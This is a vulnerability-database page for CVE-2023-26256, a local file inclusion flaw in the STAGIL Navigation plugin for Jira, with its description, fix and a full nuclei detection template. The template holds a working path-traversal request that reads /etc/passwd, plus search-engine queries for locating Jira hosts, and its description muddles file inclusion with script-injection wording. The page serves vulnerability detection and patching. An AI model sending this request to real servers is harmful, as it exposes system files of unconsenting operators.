HexBrain

Browse / CVEs / CVE-2023-26256

CVE-2023-26256· stagil / stagil navigation· CWE-22

STAGIL Navigation for Jira Menu & Themes <2.0.52 - Local File Inclusion

highseverity
7.5CVSS score
11.7%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it

STAGIL Navigation for Jira Menu & Themes plugin before 2.0.52 is susceptible to local file inclusion via modifying the fileName parameter to the snjFooterNavigationConfig endpoint. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can potentially allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

An attacker can exploit this vulnerability to read sensitive files on the server.

Fix

Upgrade STAGIL Navigation for Jira Menu & Themes to version 2.0.52 or higher to fix the Local File Inclusion vulnerability.

How to confirm it

Send: GET {{BaseURL}}/plugins/servlet/snjFooterNavigationConfig?fileName=../../../../etc/passwd&fileMime=$textMime
Positive when: contains in header "$textMime" AND matches /root:[x*]:0:0/ AND status 200

Run it with nuclei: nuclei -id CVE-2023-26256 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2023-26256

info:
  name: STAGIL Navigation for Jira Menu & Themes <2.0.52 - Local File Inclusion
  author: pikpikcu
  severity: high
  description: |
    STAGIL Navigation for Jira Menu & Themes plugin before 2.0.52 is susceptible to local file inclusion via modifying the fileName parameter to the snjFooterNavigationConfig endpoint. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can potentially allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server.
  remediation: |
    Upgrade STAGIL Navigation for Jira Menu & Themes to version 2.0.52 or higher to fix the Local File Inclusion vulnerability.
  reference:
    - https://github.com/1nters3ct/CVEs/blob/main/CVE-2023-26256.md
    - https://marketplace.atlassian.com/apps/1216090/stagil-navigation-for-jira-menus-themes?tab=overview&hosting=cloud
    - https://nvd.nist.gov/vuln/detail/CVE-2023-26256
    - https://github.com/0x7eTeam/CVE-2023-26256
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-26256
    cwe-id: CWE-22
    epss-score: 0.11708
    epss-percentile: 0.96102
    cpe: cpe:2.3:a:stagil:stagil_navigation:*:*:*:*:*:jira:*:*
  metadata:
    max-request: 1
    vendor: stagil
    product: stagil_navigation
    framework: jira
    shodan-query:
      - title:Jira
      - http.title:jira
    fofa-query: title=jira
    google-query: intitle:jira
  tags: cve,cve2023,lfi,jira,cms,atlassian,stagil,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/plugins/servlet/snjFooterNavigationConfig?fileName=../../../../etc/passwd&fileMime=$textMime"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - '$textMime'

      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from